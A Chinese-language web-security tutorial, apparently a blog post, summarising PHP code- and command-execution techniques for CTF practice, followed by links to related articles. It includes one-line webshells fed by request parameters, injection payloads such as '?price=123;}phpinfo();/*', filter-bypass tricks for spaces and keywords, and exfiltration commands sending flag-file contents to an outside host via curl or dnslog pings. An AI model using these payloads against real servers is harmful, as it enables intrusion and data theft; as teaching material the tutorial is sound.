[WEB安全]代码/命令执行总结
0x01 代码执行
1.1 概念
远程代码执行实际上是调用服务器网站代码进行执行。
1.2 常见执行方法
eval
eval():将字符串当做函数进行执行(需要传入一个完整的语句)
demo:
<?php
eval('echo "hello";');
?>

assert
assert():判断是否为字符串,是则当成代码执行
demo:
低版本:
<?php assert($_POST['a']);?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
7.0之后的demo:
<?php
$a = 'assert';
$a(phpinfo());
?>

call_user_func
call_user_func():回调函数,可以使用is_callable查看是否可以进行调用
demo:
<?php
highlight_file(__FILE__);
$a = 'system';
$b = 'pwd';
call_user_func($a,$b);
call_user_func('eval','phpinfo()');
?>
其中基本可以传递任何内置的和用户自定义的函数, 除了语言结构:array、echo、empty、eval...
call_user_fuc_array
call_user_fuc_array():回调函数,参数为数组
demo:
<?php
highlight_file(__FILE__);
$array[0] = $_POST['a'];
call_user_func_array("assert",$array);
?>

create_function
create_function():创建匿名函数
string create_function(string $args,string $code)
args是要创建的函数的参数,code是函数内的代码
demo:
<?php
highlight_file(__FILE__);
$a = create_function('$code', 'echo $code');
$b = 'hello';
$a($b);
$a = 'phpinfo();';
$b = create_function(" ", $a);
$b();
?>
preg_replace
preg_replace():当为/e时代码会执行,前提是不超过php7
demo:
<?php
highlight_file(__FILE__);
$a = 'phpinfo()';
$b = preg_replace("/abc/e", $a, 'abc');
?>

array_map
array_map():为数组的每个元素应用回调函数
demo:
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);
?>

array_filter
array_filter():依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
demo:
<?php
highlight_file(__FILE__);
$array[0] = $_GET['a'];
array_filter($array,'assert');
?>

usort
usort():使用自定义函数对数组进行排序
$GET在php5.6中引入了新特性。即可以将数组展开成参数的形式
demo:
<?php
highlight_file(__FILE__);
usort($_GET[1],'assert');
?>
用法:
1[]=phpinfo()&1[]=123&2[]=assert
大致过程就是,GET变量被展开成两个参数['phpinfo', '123']和assert,传入usort函数。
usort函数的第二个参数是一个回调函数assert,其调用了第一个参数中的phpinfo();

uasort
uasort():使用用户自定义的比较函数对数组的值进行排序并保持索引关联
demo:
<?php
highlight_file(__FILE__);
$e = 'assert';
$arr = array($_REQUEST['pass'],'test' );
uasort($arr, $e);
?>

${}
${}:中间的php代码将会被解析
demo:
<?php
highlight_file(__FILE__);
${phpinfo()};
?>

1.3 代码执行例题
题目:
<?php
highlight_file(__FILE__);
$price = $_GET['price'];
$code = 'echo $name.'.'的价格是'.$price.';';
$b = create_function('$name', $code);
$b('iphone');
?>
代码逻辑很清楚,调用b这个匿名函数,参数为iphone。
在整个过程中,从表面上看,我们能够控制的只有price的值,但是我们把这个函数b拆开来看就变成了下面这样:
function b($name){
echo $name.的价格是.$price;
}
再仔细看一下这个price,我们是不是可以在函数内部改造一下?
构造payload:
?price=123;}phpinfo();/*
那么传入后代码就会变成下面这样:
function b($name){
echo $name.的价格是.123;}phpinfo();/*;
}

0x02 命令执行
2.1 命令执行概念
通过易受攻击的应用在主机上执行任意命令。
2.2 命令执行常见函数
system
system:可以执行系统命令并将其输出
demo:
<?php
highlight_file(__FILE__);
system('pwd');
system('whoami');
?>
exec
exec:执行命令,但无输出,可以使用output进行输出
demo:
<?php
highlight_file(__FILE__);
exec('pwd',$b);
var_dump($b);
?>
passthru
passthru:执行命令并输出
demo:
<?php
highlight_file(__FILE__);
passthru('ls');
?>
shell_exec
shell_exec:执行命令,但无回显
demo:
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ls'));
?>
反引号
反引号:执行shell命令,并返回输出的字符串
demo:
<?php
highlight_file(__FILE__);
$a = 'pwd';
echo `$a`;
?>
ob_start
ob_start:打开输出控制缓冲
demo:
<?php
highlight_file(__FILE__);
ob_start("system");
echo "whoami";
ob_end_flush();
?>
0x03 绕过
3.1 常见分隔符
- 换行符 %0a
- 回车符 %0d
- 连续指令 ;
- 后台进程 &
- 管道符 |
- 逻辑 || &&
3.2 绕过空格
- $IFS
- <
- ${IFS}
- $IFS$9
- %09
3.3 各类符号
即使用substr string pos len的方法进行取字符
demo:
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
- %0a
- %0d
- %00
- %20
3.4 敏感字符绕过
3.4.1 变量绕过
a=l,b=s;$a$b
3.4.2 base64编码绕过
echo 'cat' | base64
3.4.3 未定义的初始化变量
cat$b /etc/passwd
3.4.4 连接符
cat /etc/pass’w’d
3.4.5 使用通配符
/???/?s --help
3.5 无回显
1.使用延时函数,比如:ls|sleep 3
2.使用http,比如:ls|curl ip:port
3.使用dns
3.6 命令执行例题
<?php
highlight_file(__FILE__);
include("where_flag.php");
echo "ping";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
shell_exec("ping".$ip);
?>
思路1:使用cp命令将where_flag.php改名,然后下载得到flag
如:
127.0.0.1;cp where_is_flag.php 1.txt
思路二:dnslog外带
因为dnslog不能带有空格,所以使用sed去空格
最后的payload:
/?ping=cat where_flag.php|sed s/[[:space:]]//.php.xxxx.ceye.io
因为ceye无法处理换行,所以我们可以使用下面的方法处理换行问题
ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.xxx.ceye.io;done;
注意:只能在curl下有效
3.6 长度绕过
如15位命令执行、7位命令执行、5位命令执行、4位命令执行
具体参考:
3.7 无字母数字命令执行(webshell)
1、异或
因为每个字符的本质是ascii码值,而ascii可以变成二进制,二进制进行xor后再转换,就是字母
2、取反
其实同理,将字符转换为二进制后取反
3、自增
具体可查看:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.php.net/manual/zh/language.operators.increment.php
0x04 参考链接
[WEB安全]代码/命令执行总结的更多相关文章
- Weblogic CVE-2018-3191远程代码命令执行漏洞复现
0x00 简介 北京时间10月17日,Oracle官方发布的10月关键补充更新CPU(重要补丁更新)中修复了一个高危的WebLogic远程代码执行漏洞(CVE-2018-3191).该漏洞允许未经 ...
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- 风炫安全web安全学习第三十一节课 命令执行以及代码执行演示
风炫安全web安全学习第三十一节课 命令执行以及代码执行演示 参考: http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十一节课-命令执行以及代/
- 风炫安全web安全学习第三十节课 命令执行&代码执行基础
风炫安全web安全学习第三十节课 命令执行&代码执行基础 代码执行&命令执行 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 ...
- php课程 1-3 web项目中php、html、js代码的执行顺序是怎样的(详解)
php课程 1-3 web项目中php.html.js代码的执行顺序是怎样的(详解) 一.总结 一句话总结:b/s结构 总是先执行服务器端的先.js是客户端脚本 ,是最后执行的.所以肯定是php先执行 ...
- web漏洞-命令执行、文件上传、XSS
一.命令执行 1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
- Android 在Android代码中执行命令行
1.路径最好不要是自己拼写的路径/mnt/shell/emulated/0/wifidog.conf 最好是通过方法获取的路径,不然可能导致命令无效 (挂载点的原因) public static f ...
- 【MongoDB】6.关于MongoDB存储文件的 命令执行+代码执行
参考:http://www.runoob.com/mongodb/mongodb-gridfs.html 1.命令执行 MongoDB GridFS GridFS 用于存储和恢复那些超过16M(BSO ...
随机推荐
- Spring Boot整合Spring Session实战
传统java web应用session都是由应用服务器(如tomcat)保存在内存中,这对应但节点应用来说没问题:但对于应用集群来说会造成各节点之间的session无法共享,一个节点挂掉后,其他节点接 ...
- Ipython 和 python 的区别
IPython是一个python交互shell,它比默认的python shell更易于使用.它支持自动变量完成.自动缩进.bash shell命令,并且内置了许多有用的函数和函数. IPython是 ...
- FreeRTOS 移植
添加FreeRTOS源码到工程中 在工程源码中创建FreeRTOS目录存放拷贝的文件 拷贝FreeRTOS->Source中的文件 可将其他不需要的文件夹全部删掉,只留3个 拷贝Demo中Fre ...
- SAP Marketing Cloud功能简述(一) : Contacts和Profiles
Dong Grace是Jerry的同事,目前是SAP成都研究院数字创新空间团队的一名实习生,明年7月才毕业.这篇文章是Grace对SAP Marketing Cloud功能梳理的一篇学习笔记,因为篇幅 ...
- 在openwrt 17.01上编译最新nginx 1.14.2的笔记
openwrt 17.01源码对应的nginx版本是1.10.2,有些新功能没有,所以需要升级到nginx 1.14.2最新的稳定版 https://github.com/macports/macpo ...
- sql基本操作之增删改查
1. 显示数据库 show databases; show databases; 2. 显示当前数据库 select current_database(); 3. 创建/删除数据库 create da ...
- 转载: Redis面试常问的问题
https://www.cnblogs.com/javazhiyin/p/9842571.html 近,阿音在为接下来的一场面试做准备,其中的内容包括redis,而且redis是重点内容. Redis ...
- DDD总览
DDD总览 领域驱动设计(DDD)编码实践 目录 写在前面DDD总览实现业务的3种常见方式基于业务的分包领域模型的门面——应用服务业务的载体——聚合根实体 vs 值对象聚合根的家——资源库创生之柱 ...
- PHP字符串截取,计算字符串长度
/** * 字符串截取,支持中文和其他编码 * @param [string] $str [字符串] * @param integer $start [起始位置] * @param integer $ ...
- 基于Java+Selenium的WebUI自动化测试框架(八)-----读取元素(XML文件)
我们继续回到自动化测试框架的主线上来,在前面的文章中,我们定义一个页面元素的主要参数有:路径,找寻方式,等待时间,名称,这个四个参数.另外,我们还需要考虑一个问题,就是网站的页面. 举个例子来说,如果 ...